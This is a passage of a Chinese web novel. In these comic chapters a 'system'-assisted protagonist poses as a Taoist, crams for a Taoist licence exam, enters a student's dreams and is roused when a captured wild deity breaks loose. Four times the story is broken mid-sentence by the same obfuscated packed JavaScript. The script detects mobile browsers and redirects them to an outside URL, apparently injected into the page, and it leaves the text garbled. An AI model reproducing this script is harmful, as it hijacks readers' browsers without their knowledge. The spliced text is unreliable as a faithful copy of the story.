江行白被这一抹红色重击,低头看自己身下同款塑料凳,深感修道真是一件苦事。 岑明辉注意到江行白的视线,犹豫了又犹豫,终究是忍不住说:“其实审讯室的环境更好,那里用的多,如果可以的话,我们可以换个地方。” 一堆铁栅栏瞬间浮现在江行白的脑海,还有冰冷冷银闪闪的手铐,江行白控制不住地轻甩头,他还不想年纪轻轻吃上公家饭。 “果然,前辈看不上这样的地方。”岑明辉看着江行白的神色,在心中默默黯然伤神,“我们这座小庙还能容得下这样一座大佛,不对,我们这是道观。” 江行白忽然出声,打碎岑明辉飞奔到天外的念头:“那黑影是什么东西,你们知道吗?” 岑明辉立刻摇头,乖巧地说:“我们不知道,还请前辈告知。” 江行白浑身鸡皮疙瘩起来了,被岑明辉这古色古韵又中二的话语和称呼弄得一麻,不由得说:“我不清楚才想问你们。” 岑明辉没想到是这样的回答,滤镜碎了一地,黯然道:“我们当时追捕它的时候只以为是成邪的孤魂野鬼,没想到不管什么招式用在它身上都没用,也只有伟光正罗盘才能束缚住它。” 【是神灵。】 “嗯?”江行白一惊,下意识出了声。 “前辈?”岑明辉不解地看着他。 江行白摇头示意没事,继续在脑海中与系统对话:【这怎么可能是神灵,哪家老板……神灵能是这样的。】 【邪神当然能这样,但说它是邪神,它还不够格。】 【它是吃香火吃出来的野神,赵武供奉的神堂香火充足而混杂,阴气又重,容易招惹这些东西。】 江行白试探性地说:【那听你的意思,这是意外?】 【叮,系统暂时无法判断,请升级系统,为您的工作带来更全面的辅助。】 升级系统要职称,江行白刚转正,上哪升级去,他情绪被中断,一口气差点没上来。 江行白调整呼吸,转而与岑明辉聊起来:“你们打算怎么处理,常规的方式都不太奏效,它是吃香火长大的。” “我也不知道,听说师叔要回来了,他手段多,说不准有办法。”岑明辉一顿,忽然想起自己忘了点什么,“对了,刚刚忘记自报家门,这里是云城北山的道观,观主是我师父青云山人,我是他的大弟子,岑明辉。” 江行白没听过,只好暗地里问系统:【云城北山……有道观?】 【叮,系统暂时无法判断,请升级系统,为您的工作带来更全面的辅助。】 AI自动回复播报完,系统补充:【没权限,我不知道。】 好嘛,系统都不知道,这道观来头真不小。 江行白盘算一下自己在岑明辉眼中的形象:“我只是一个云游道人,偶然碰见这家的主人,发现他身上有些异样,帮他解决一下,没想到会碰到这样的事情。” 岑明辉轻皱眉头,表情有些异样:“他身上还有异常,我没看出来。” 江行白不能透露太多,只说:“有人请邪灵害他,被我阻止了,没有成功。” 岑云辉身体前倾:“前辈能告诉我是谁吗,很可能与今天的事情有联系。还有他神堂的布局,也不合常理。” 确实如此,不少公司老板都会花大价钱研究风水,不吝惜于花大价钱请大家回来,就算没请出什么成果,也不会有这么大的错误。 就算是江行白这样的外行,都能看出神堂不对,这老板的脑子被鬼吃了吗? “你可以去查查他最近得罪了什么人,事业上的,说不定会有结果。” 岑明辉点头:“前辈,我知道了。” “叫什么前辈呢?” 岑明辉话音刚落,一人风风火火地从门口走进来,人影没看清,先听见他的声音。 他不轻不重地拍了一下岑明辉的头:“要叫道长,你师父教好你没有,哪有见到人叫前辈的,中不中二。” “师叔—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962018|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”岑明辉不太乐意地将凳子往前挪挪,“你拍我头做什么?” 江行白怪异地看着不速之客,一字一顿迟疑地说:“褚皓阳?” 今天上午这人还给江行白发了消息,说自己考核期太忙,任务完不成,他是江行白的大学舍友,又是同行,两人关系一向亲厚。 【你好系统,褚皓阳能看穿镜子吗?】 【对方行政等级较低,暂无此无权限。】 褚皓阳的反应也证实了这点,他勉强施舍给江行白一个正眼,不知道为什么,他看见江行白的第一眼脑子里就出现两个念头。 道士。 假的。 整合一下就是,有资历的假道士。 于是他很没有礼貌地说:“嗯,你谁?” 江行白根本就不知道自己被镜子的刻板印象给坑了,他还意外于能在这里碰见这人。 合着他的富二代背景不在城市CBD,在城市左上角的道观啊。 那背景可怪深厚的。 “行,先不提你谁,这个东西给你,聊一下你今天去赵武的家中做什么?” 黑色塑料袋被他放在面前的木桌子上,整个道观没人看出来这东西有什么特异之处,翻来覆去地研究也没有结果。 褚皓阳不自觉磋磨塑料袋,难不成是它特别厚实质量特别好,确实挺厚的。 江行白更惊异了:【他连塑料袋也看不出来。】 【那当然啦,你的塑料袋由公司施法,可隔绝大多数灵异物品,他是实习生,无权获得。】 可怜见的,诸皓阳虽然早早一脚踏入了玄门,公司却还是不能随便进,还是乖乖大学毕业,被长辈推举入职。 临走前还投了他的好哥们江行白一票,助力他尽早入职公司。 如此说来二人渊源颇深,但江行白不急着揭下自己这张假面,友在明我在暗,自然要好好发挥一下。 江行白老神在在地说出了实情:“我去帮他还愿。” “还愿?”褚皓阳身体前倾,看着江行白:“那神堂可不是个好还愿的地方。” 说得真是,江行白也不由得有些苦涩,好好的做个任务,结果扯出这么多乱七八糟的事,奖金和花费的时间根本就不成正比。 压榨!赤裸裸的压榨! “老实说来,先前我也没想到他是这样的情况,不然我绝对不接他这一单。” 江行白苦笑,将刚刚放在桌子上的塑料袋拿起来:“白白浪费了我这么一个宝物。” 岑明辉张了张嘴,似乎是想给他的“前辈”说点好话,被旁边长了眼睛的褚皓阳拍了一脑门,又闭上嘴。 江行白看在眼里,心里想笑,也猜出来是现在这道馆里长辈都不在,褚皓阳自己撑大王,只能勉强撑出来这么个人型。 他有心想帮帮忙,又将话绕回来:“这次不管怎么说,都是我帮了你们的大忙,阁下如此咄咄逼人,可不太合适。” 褚皓阳送了杯水到江行白的面前:“怎么会,所以你去赵武家是还什么愿?” 江行白面带微笑:“自然是他被人下咒,请神赐福的愿望。” 5. 我喜欢金子 岑明辉手欠,想给褚皓阳也拿一杯水,被他拦下,褚皓阳一边经管自己帮倒忙的师侄,一边问江行白:“向哪位神佛祈愿?” 江行白说:“吕祖,但他的神像现在已经炸了。” 不光是他,神堂里密密麻麻的神像都炸了,倒是死无对证,不知道出来捣鬼的究竟是哪方邪灵。 褚皓阳一直没说话,似乎在思考什么,江行白不着急,指尖轻点桌面,等着他的下文。 他终于说话了,却是问向岑明辉:“你们到的时候,神像都已经出现没了吗?” 岑明辉点头,他慢慢回忆,复述出当时场景:“我们用罗盘找邪物的位置,到了地方就看见满地的灰烬,道长和赵武要从安全出口出去,我用罗盘拦住他们,逼出赵武身上的邪物。” 他有些发愣:“所以……当时地上那么多的灰烬,原来是神像?” 江行白看不下去:“我还以为你们早就来过他家好几次。” 这些人怎么能连点都不踩一下。 岑明辉有些愧疚:“是我的疏忽,要不是有道长在,怕是师弟师妹已经遭遇不测。” 褚皓阳明显手痒,想再拍岑明辉几次,代他师兄好好教训一下他,但有江行白这个外人在场,不方便动手。 但……过去的事情也就过去了,江行白把话题扯回,企图让褚皓阳明白事情的严重性。 “敢炸了那么多神像,这……邪物实在不寻常。” 他话音一顿,不是因为别的,而是江行白实在不能适应道观的话风,文邹邹的,用词也不像在现代。 原来玄门的人管这些乱七八糟的灵异生物叫邪物,真是简练。 褚皓阳表情渐渐凝重,他先前不知道有这么多神像遭毒手,如今突然知道,也渐渐回过味来。 神像不是死物,神像是神的延伸,是有“灵”存在的,特别是刚被还完愿的神,说是亲临也不为过。 能一口气炸这么多神像,不怕突然暴毙,也不怕被他们找上门来,明显是有两把刷子。 他们现在把黑影困在道观内,却对它一无所知。 不知道等了多久,江行白听见诸皓阳和他说:“如果道长近日无事的话,可否留在道观一段时间,我们必然盛情款待。” 江行白向他一笑,半开玩笑地说:“道上的规矩?” 诸皓阳直接接过:“有缘者分文不取?” 江行白刚要拿起水杯的手顿住了。 “啊。”诸皓阳反应过来:“自当厚礼奉上,道长可缺符箓,我们道观中有不少善符箓的弟子,道长可以看看他们的水平如何。” 江行白真心实意地笑了,笑的有点甜:“为我安排居所吧。” 说完他拎着塑料袋,从椅子上站起走向门口。 诸皓阳的目光一直留在江行白身上,褪去“假道士”的第一印象,他总觉得这人的举动莫名熟悉。 就像在什么地方看过很多次一样,但却毫无记忆。 阳光透过窗户落进来,照在江行白这张陌生的脸上,灰色的瞳孔被阳光折射,诸皓阳依旧想不明白这种熟悉感从何而来。 脚步声一顿,江行白终究没忍住,回头看向诸皓阳,扑哧一声笑出了声。 太好玩了,他眉梢中都是笑意,就喜欢这种熟人相见不相识,笑问客从何处来的感觉。 江行白转过头,无所谓地晃了晃手中的垃圾袋,凭诸皓阳的脑子,想破脑袋也想不到是他,更何况他们寝室在阴面,而这里却是阳面,氛围感根本就不一样。 —————————— 江行白在数钱。 【30123、30124、30125……】 系统忍无可忍:【五万,OK,不要在我脑子里数钱。】 【这是我脑子。】江行白不乐意了:【你才是鸠占鹊巢的那个。】 【宿主您好,建议主动屏蔽任务助手,以免干预到您的专注力。】 就职手册上的标准回答说完,不用担心被主管扣绩效,系统终于爆发:【你已经数了一个小时,我已经被迫听这一串数字一个小时了,你究竟为什么非要在我的留言框里数。】 江行白饶有兴致地歪头,身子斜靠在椅背上:【你不知道原因吗?】 【什么原因?】 江行白继续歪着头:【因为我穷啊。】 “哎~”他一口气叹了山路十八弯,【鄙人不才,赚不来钱啊,找不到工资高的工作,只能每天搬搬砖,勉强糊口的样子。】 【……】它卡了不知道多久,才勉强说:【我记得我们没有克扣你工资。】 江行白状似无意地拿起一万块,这屋子外估计有摄像头,他不能在明面上将自己贪财的本质展现,只能在脑海里数钱,也只能在想和钱近距离接触的时候,装作自己毫不在意。 可怜见的,江行白偷偷翻了个白眼,他都快在意死了,这辈子他最喜欢的就是钱,和亮晶晶很值钱的东西。 一张张粉红色钞票在他的手指间翻越,他的手很灵巧,也很长,很适合出千。 【是啊,你们当然没有克扣我的工资。】江行白把纸钞当飞镖用,没过多久飞出去十来张。 【我接一个大单子的钱也就这些。】他示意飞出去的钱,江行白偶尔会将任务称之为单子,听说这也是公司不少人的习惯。 【活得还算滋润嘛,但人难免有些欲望。】 系统有些惊奇:【你还有除了睡觉吃饭以外的欲望?】 【……】 江行白破防了:【怎么可能没有,我最喜欢黄金了!】 系统奇异,以它的数据库,它无法区分开黄金与钱的区别:【这不还是爱钱吗,和欲望有什么关联?】 江行白没忍住,进行统身攻击:【你数据库是AI跑的吧?】 【是很高级的AI,你继续说。】 江行白给了面子:【我喜欢亮晶晶有光泽的东西,最好散发着金钱的味道。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962019|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【哦,这不对,这太奢侈了。】 江行白自我反思:【人之常情,人之常情。】 他老实地将飞出去的钱捡回来,不考虑监视他的人看见这一幕会是什么想法,又问系统:【你能去看看他们把那个野神关在哪里吗?】 系统否定:【我无法离开你,只能你带着我去看。】 江行白皱眉:【嘶,公司怎么想的,那你帮我刷一刷单子吧,看看道观里有没有合适的单子。】 系统自觉登上鼎鼎,选择按地点筛选,翻了半天,终于迟疑地说:【倒是有很多,就是你不一定能做。】 【嗯?】江行白好奇:【怎么说?】 系统有些迟疑:【不少小弟子希望祖师爷能给他们以神通,让他们不用学习也不用练习就能无师自通,左脚踹邪灵,右脚踹师父师兄。】 【如果要更详细的话,就是很多弟子祈祷,希望他们的二级符箓,四六八级道术,道士资格证都可以顺利通过。】 江行白:【……】 【真的没有更简单一点的吗,顺手就可以做的那种。】 系统依旧有些迟疑,它似乎是思考了片刻,才说:【你要想,你有同行在这里。】 但凡和简单沾边一点的任务,早就被抢走了,剩下的都是又不好做,奖金又少的。 这些零零碎碎的,不太大的小单子,连绩效都算不上多少。 但即便是这种零碎的任务,也有一种情况是例外的,就是祈祷者完不成愿望就要自杀,今天二级符箓不过就要死。 事关生命,绩效就能算很多了。 【所以这种也没有?】 系统依旧迟疑,又是思考了一会儿,才说:【他们每月领的生活费……好像比你工资多。】 ?……??……? 【你……三天打鱼两天晒网的,不是也挺正常。】 【呵。】江行白冷笑,他的脸色现在比喜马拉雅雪山上雪尖尖的雪都要冷。 他要去cosplay喜马拉雅尸体指向标了。 哦,他就是有一点死了而已。 江行白立刻掏出手机,打开鼎鼎,再打开和褚皓阳的聊天框。 “你爹没了。” 褚皓阳回的很快,他不明白为什么莫名其妙被攻击。 “?” 江行白1.4了的打字:“我答应你要帮你看的任务,没了。” “是的,你爹死了,我死掉了。” 褚皓阳打字符的速度甚至都赶不上江行白打字的速度,是的,没错,毕竟江行白在输出怨气,怨气总是比阳气传播的更快。 褚皓阳:“?????” “谁惹你了?” 江行白不答,他迅速开始整理衣服,将钱和道观送他的一些礼品收好,放在书桌上堆的整整齐齐。 系统对江行白的抽风已经习惯,好奇地问:【你要去做什么?】 江心白狞笑:【我要去考个道士资格证。】 6. 运气 【您的鼎鼎有一条新的消息。】 【您的鼎鼎有两条新的消息。】 【您的鼎鼎……您的……】 江行白对于这嘈杂的提示音已经适应良好,他刚从屋子里出去没多久,就有人迎上来。 “道长,有什么需要吗?” 江行白丝毫不奇怪有人在这,让他留在这里除了帮忙,多半也存了些监视的意味。 但这无所谓,江行白宽容,江行白不在意。 “褚道友歇下了吗,我想去见见他。” 面前的道士掏出出手机看了眼息屏显示,才八点,褚皓阳绝对睡不着。 “应当是没有,我去问问。” 再上前两步,侧身向着江行白:“请道长和我走吧。” 褚皓阳在这座道观里地位不错,有一个自己的小院子,离江行白的临时居所并不远,他果然没睡,也没进卧室,就在院子里的路灯下面玩手机。 哦,江行白眼力不错,刚进门就看见褚皓阳十指飞舞,在手机的下半屏幕腾挪翻转,估计是在骂人。 【您的鼎鼎……您的……】 【系统,屏蔽掉。】 【OK,好的。】 道士提前打了招呼,诸皓阳有所准备,艰难地将手指从屏幕上挪开,勉强撑起笑意,向江行白打招呼,然后问: “这么晚忽然前来,是有关邪灵的事吗?” 江行白摇头,拉开诸皓阳对面的椅子坐下,是藤椅,很舒适。 “不是,是我自己的事,我想问问关于道士资格证的事情。” “道士证啊。”诸皓阳有些意外:“您是想?” 江行白面带笑意:“说来惭愧,我多居于深山老林之中,此番入世也是因缘相会,才知道还有‘道士证’这种东西,既然不少道友都以‘道士证’为重,我也不应该免俗。” 先前的道友走进院子,为诸皓阳和江行白送上茶水和点心,江行白没看点心,只略微尝了一点茶。 七点以后吃东西会胖的,更何况是点心一类。 诸皓阳没说话,显然是在思索,片刻后说:“实不相瞒,道士证的考试多半是符箓道法和一些常识性的内容,并不深邃,对于道长来讲,自然不算什么。” “唯一有一点需要顾虑的是,道士资格证的考试不能随便参与,必须有合规道观的推荐才可以。” 门槛倒还挺高,江行白最讨厌的就是推荐制,快把“我有后门”四个字写在别人脸上。 但他偏偏和推荐制绕不开关系,也被别人推荐了不少次,既得利益者不许抱怨。 或许是诸皓阳智商爆发,看出江行白心里在想什么,有些尴尬说:“我们这每年会为没有道观的散修举行考试,名列前茅者就有参与道士资格证的资格,正巧在一旬之后。” “但道长也不必去参与,我手里还有几个内推的名额,我带道长去就好。” “唯一有一点是……”诸皓阳有些羞涩地说:“需要你的身份证和其他证件,还要填信息。” 【咱能有伪造的证件吗?】 系统:【可以有,只要你证明这是用于任务就可以。】 江行白:【快,给我接一个道观里和道士证有关的任务,最快多久下证?】 系统:【最快明天早上发货,同城速递。】 【OK,接个好做的。】 交谈完毕后 ,江行白立刻回复诸皓然:“这自然,今天太晚了,明天我找一找,再将证件给你。” “不过,你们有复习资料吗?” ———————————— 【怎么这么多?】 江行白有些头痛,他大致翻了翻内容和考试流程,发现实在是超出了自己的能力范围。 道士资格证一共考三门加一次面试,基础符箓学,基础道术,综合理论,外加一次面试。 按江行白这半瓶子也没有,另外半瓶子也没有的水平,让他过这种考试实在是为难他。 但今儿这一遭的好处是,他领到了不少资料。 符箓,道术,药理,穴位,还有一些有关道家的学说和历史,应有尽有,十分齐全。 唯一的缺点是……看不懂。 看不懂怎么办,江行白基础这么差,满篇过去就字能读懂,哦,有的字都不会念。 他皱着眉看了半天资料,一个段话一段话的猜过去,和系统讨论,终于坐在屋子中的蒲团上,开始尝试运气。 【这靠谱吗,我是唯物主义者。】 【嗯,你不说话吗?】 系统语气一般:【你是唯物主义者,我不应该存在。】 江行白轻轻一笑,不再逗趣,闭上眼睛默念复习书上的段落,这是运行周天的基础心法之一。 人一般很难体会到自己的心神是什么时候平静下来的,只知道慢慢的身心沉静,时间,空间,都归结到了一起,宇宙万物,只剩下自己。 江行白不由自主地默念刚刚看到的心法,生涩拗口的字句一顿一顿的念出,渐渐变得流畅。 他半眯着眼,眼前却慢慢浮现出屋子中的场景,除了他已经看眼熟的桌椅板凳,还有一股股玄妙的气流在房间中涌动,江行白说不上是什么的颜色,或许颜色本身只是人类的定义,而世间万物是不需要被定义的。 江行白知道,这是系统共享的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962020|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,工作小助理是神灵所造,按照辈分应该是这里所有人的祖师爷。 心法越念越流畅,终于到了某个结点,周身的气流开始旋转,绕着江行白旋转,一丝一缕的气流挣破束缚,流入江行白的身体。 那是一种充盈的体感,像是浑身浸泡在温泉水之中,心也有些胀,让人无法停止。 江行白贪婪地吸收着周围的气流,眼前却突然一黑,系统和他说: 【可以了,停下吧。】 江行白一清醒,迟来地感受到四肢百骸传来的疼痛。 “嘶——” 【疼是正常的,你速度太快,伤到经脉了。】 他忍不住抬手,想要揉揉胳膊,结果刚抬起手就感觉经脉被牵扯,酸痛感混杂着针刺感,活像跑半马后又被人围殴了一顿。 被打是需要休息的,系统不打算让他休息,指挥着说:【去,爬到书桌边,把书向后翻两页,有休养生息、平心静气的心法,念去吧。】 【啊我真是,嘶——太疼了,让我看看。】江行白挣扎着爬到书桌边缘,他怀疑自己是上岸的小美人鱼,不然怎么每动一下都像有刀片在追着他划。 书被翻了两页,江行白出乎意料的敏感,视线瞬间落到右上角的心法,心里默念了几遍,念的越来越顺畅。 热胀感从他的指节处溢出,渐渐变冷,吸收来的气流像吊瓶里的药一样流过血管,清清凉凉,除了有点冷,十分滋补。 “呼——”江行白长出一口气,终于不疼了。 他立刻爬起来,拿起书桌上的手机,眼睛还没完全睁开,劈里啪啦开始打字。 手机里面是熟悉的对话框,白的白,红的红,全是未读的语音与信息,正是鼎鼎软件里江行白和诸皓阳的对话框。 江行白面色凝重,表情认真:“你们有练功过度全身瘫痪的吗?” 已经躺在床上玩手机的诸皓阳十二分茫然,但还是下意识说:“我们不是邪教组织。” 他说完想起今天莫名其妙的经历,忍不住呛:“你今天怎么回事,吃错药了?” “我发给你的10条60秒的语音和5条消息,你到底听没听看没看?” 江行白与未读消息红点面面相觑,决定跳过这个话题,直接说:“抱歉了,我亲爱的孩子,我确实不太安好,但等我安好后会找你的。” 这句话是真的,他一定会像鬼一样死死缠着诸皓阳。 毕竟这么多复习资料,而他和系统两玩意凑一起,估计能看懂的不超过5%,最后要打扰谁,不还是说“不算什么”的诸皓阳。 江行白关上手机:【系统,屏蔽。】 【睡觉吧。】 7. 安睡失败 二日清晨。 江行白难得悠哉,他不急不慢地翻着讲符箓的书,边上是黄纸和朱砂,有系统在,这些东西基本不会画出什么错误,除了江行白基础不好,符箓的威力小点,其余没有问题。 江行白看着看着忽然冒出一个问题:【公司是不是本来就应该送基础的术法?】 系统:【亲,您的权限不足,无法获取。】 它冰冷的声音再次传来:【升职,加薪,给术法。】 【哦~】江行白恍然大悟:【又是职称不够,组织严密哈。】 他想起来昨天为了拿身份证明接任务的事,这事系统不提,他早就忘了,现在又忽然想起来。 【你怎么不催我完成任务了,咱们昨天晚上才刚接下来,任务具体内容是什么?】 系统冷言冷语:【一个三天打鱼两天晒网的小弟子,想要考取道士资格证,估计其他人考察他通过的概率有点低,没接他这个任务,让我们接下了。】 【我打算今天上午身份证明的文件到货了,就将任务取消掉。】它的规划十分严密:【刚好没超过24小时,无痛退单。】 【哎等等,我再看看。】江行白似乎迟来地长出一点为祈祷者服务的良心,他将书翻过好几页,指着右上方的内容说:【你看这个我能学会不?】 术法有些晦涩,独独边上的批注江行白能看懂——不知周之梦为胡蝶与,胡蝶之梦为周与? 系统草草地看完术法:【这是一个比较简单的托梦法决,有我在的话,你可能学不会,但能用出来。】 江行白的心思却仿佛不全在这,他盯着边上那一行批注,思索说:【你说,除了托梦以外,我能不能控制他做点别的梦?】 ————————— 能的,当然是能的。 不要问为什么一个道家的基础知识大全里会有这种术法,问就是一力降十会,碰见下乡急需扫盲的封建乡亲们,不管和他们说道教神学还是自然科学,都是白搭,不如从内部瓦解,给他们托几个梦,吓一吓,什么都老实了。 但这种事到底不光彩,道友们只可意会不可言传,看见了背就是了。 江行白就是背的那个,他也很出色的没有用在正地方,他变成了梁上君子,作为小人,专挑弱小的欺负。 三天打鱼两天晒网的小弟子躺在床上,已然入睡,他的梦中是一片桃花海,安宁祥和。 而江行白老神在在地站在窗外,系统给他放哨,确保没人发现。 他嘴里振振有词,手上轻微浮出一点气流,卷着窗外的花瓣落到小弟子额头上。 江行白一翻身,跳到房顶上,也跟着闭上眼睛。 桃花海瞬间一变,变成课堂,江行白坐在距离小弟子不远的蒲团上,和他一起听着师父师伯讲课。 “老子曰:‘股东故塞斯一二三,今天鸡腿加火腿,明天青菜加白粥。’” 江行白:“?” 系统:【?】 江行白:【他饿疯了吗?】 系统沉痛道:【不,他可能只是不会,人不能梦到自己完全不会的知识,我以为他只是没记住,但好歹是带了脑子,可惜脑子也没带。】 潜意识是个很神奇的东西,有些事情你以为你没记住,但实际上早已藏在你的脑子里,而有些事情你以为你这辈子都忘不了,但其实早就消失的无影无踪。 后者特指背了50次的英语单词。 小弟子明显是后者,他上课就算不睡大觉,勉强听课,也只记得教书的老师长什么样。 江行白怒而翻开随身带的道资综合随身背,从第一页开始,对系统说:【梦境的时间给我压一压,我要让他做个连环梦,以为自己一辈子过去了,结果睁开眼睛才半夜十二点。】 系统点头,江行白忽然如此上进,还陪着小弟子在梦境中上课背书,实在是孺子可教。 它最开始都没想到江行白能认真帮他完成愿望,没想到他一改前日的惫懒,甚至谋士以身入局,耐心帮助小弟子学习,好人啊好人。 ——————————— 实际上人的潜意识还是发挥了作用,这位弟子终究是记得了不少,即便有些地方遗忘了,江行白用书中内容填补,他带着也能想起一些。 而江行白则跳了不少内容,他主要听的都是自己翻书时候没读懂,和书上讲的不详细的内容,他没办法混进道观的学堂里学习,只能用这种方式旁敲侧击,也算听了网课。 梦境一两天的过去,现实世界也过去不了多久,江行白看天要亮了,急忙回了自己的屋子,避免被抓个现行。 他有些困,但这个点睡下再醒的时候一定是大中午,他索性让系统帮他扫除浑身疲惫,再睡个回笼觉,一觉醒来,时间正好。 有人在敲门,声音不急不慢。 江行白粗略看一眼手机,上午九点多了:“来了,你是?” 他门只推开一半,就看见外头站着的人,疑惑说:“诸皓阳?” 诸皓阳衣冠整齐,不知道早上什么时候醒的:“昨天忘记向你讨要身份信息,奈何今天中午就要上报,不得已清早叨扰一番。” 江行白狐疑地看向他,总感觉诸皓阳装装的,这片区域怎么可以有人比他更装。 他侧身让过,指向桌面上的零散证件:“昨日我运行了几个周天,醒来已经是这个时辰,没来得及整理,还请见谅。” “是我叨扰了,不敢不敢。” 诸皓阳的眼神微妙地扫视了一圈,江行白瞥见自己明显睡过人的床被,有些不高兴。 别人地盘,别人地盘,这不算什么。 诸皓阳拿起桌子上的身份证,迟疑地说:“贾道是道长?” 江行白微笑地说:“父亲说‘假作真时真亦假’,我的姓氏正好同了‘假’字,道是‘假’时,便是真的也被压了一头,故名贾道是。” 诸皓阳只觉得不对劲,可惜以他大学浑水摸鱼的脑子暂时无法想出是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962021|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里不对,只能说:“我拍一下贾道长的身份证。” 他掏出手机正反面分别拍个照,特别记下身份证号,又问江行白:“道长的最高学历是什么?” 江行白翻开户口本,上面写着:半文盲。 诸皓阳点头:“好的好的。” 江行白在后面偷偷看见他在手机上面敲:社会人士,通过人才引进(特殊)方式获得考试资格。 其实他也是算是应届生…… 公司!不交!社保! 诸皓阳录完信息,像是想起什么一样,回过头和江行白说:“我师兄要回来了,估计就在明天,届时他可能想见你一面,不知道长是否愿意。” 江行白零颗牙齿微笑:“自然愿意,到了主人家的地盘,怎么能不拜访一二。” 诸皓阳三颗牙齿微笑:“恭候贾道长了。” 两个大学语文成绩都是及格的学生擦肩而过,短暂结束了乱用词语的对话。 可惜人算不如天算,江行白和诸皓阳都以为自己可以体体面面地与观主/师兄见面,奈何观主不是寻常人,他不爱走大道,也不喜欢走明路。 偏偏喜欢抹黑趁着夜色走小道上山。 如果以结果为导向,他的行动是正确的。 夜色正浓,依旧是江行白临时居住的小屋内,他抱着被子,睡得香甜。 虽然可以让系统帮他扫除疲惫,做回猫头鹰,但他偏偏喜欢自己睡觉,只觉得自己睡觉才是真的补足精力。 可惜他的安睡在这个晚上被打了折扣。 “轰!” “嗖!” “哗啦!” 江行白迷迷糊糊地被惊醒:【你好系统,今天是除夕吗?】 【宿主,醒醒,外面好像炸了。】 江行白迷迷糊糊不愿醒:【他炸了和我有什么关系,我又没任务。】 系统:【小弟子?】 江行白冷酷地说:【他再也不用烦恼道资过不去了。】 系统刚刚安静,外面传来劈里啪啦的声音,还有慌乱的脚步声。 “前辈前辈醒醒!” “谁?”江行白警醒。 “山上出事了,那个东西好像逃出来了,前辈,恳请您帮帮忙!” 江行白还沉浸在道资的海洋中无法游动,听见这话下意识否认:“我能帮上什么忙,我没有取得道士资格证。” 岑明辉快要急疯了,拉起江行白就要跑:“前辈,前辈,道长——是我从前说错话了,你快去看看吧,师父师叔都在那边。” 江行白又被吵又被拽,终于清醒了,他站稳身:“你拉着我有什么用,我什么东西都没有带。” “等等,等等我拿下东西!” 江行白将衣架上挂着的改良道袍一披,随手把桌子上的黄纸一揣,虽然不知道有什么用,但说不准有个心理作用。 本着反正有系统在我死不了,随便浪随便浪的心态,江行白被岑明辉拽出门。 8. 峨眉山月半轮秋 “我一直不明白一件事情。” “?” “这玩意是炸神出世吗,这么能炸?” —————————— 带着江行白夜奔的岑明辉有些狼狈,他听见江行白如此问他,什么回答都说不出来。 当然,江行白的表达方式要更委婉一些,他只是含蓄地问,这个邪灵是吃鞭炮出身的吗? 从他话里的意思听来,说火药更准确一些。 “道长,我们对它所知甚少,但道长说它是吃香火长大的野神,多半没有错误。” 岑明辉一跃四五个台阶,脚步生风,显然练过轻功,是那种嘴上喊着“要相信科学”,结果自己翩然离去的道士。 江行白不免得要狼狈一些,即便他的身体素质受过加持,又在公司特训过一段时间,但终究没有“蜻蜓点水”的功夫,现在天又黑,又是山路,他在岑明辉身后跟的十分勉强。 但万幸打岑明辉开始的夜间马拉松有了终点,他抬起头,遥遥望向山顶:“道长,你看山顶,那处亮着光,就是那里出的事。” 江行白也抬起头,眼神又有了光彩,这是每一个体测人对于终点的渴望。 他们五步并作一步,在事态无法回转之前上了山。 山顶风很大,有道是登高遥望,山顶视野开阔,环境优美,云霞满天之时近似仙界,山庙多建于此,离神明也近。 像江行白这样身上挂上公司牌子的人,一到山顶寺庙附近,就感觉身心轻盈,周身畅快,冥冥之中有直觉,自己离老板又近了一步。 通俗来说,和乘电梯去写字楼高层的感觉差不多。 有些场景远看看不出一二三四五,到了近前才发现火花带闪电。 江行白站在山顶下的台阶,不愿意上去,怕被误伤。 山顶上是一片不小的空地,空地中央是一座寺庙,只剩断壁残骸,被炸得差不多,江行白老板们的神像都消失的无影无踪,或许只剩下一堆石头灰。 这和看见同类尸体有什么区别。 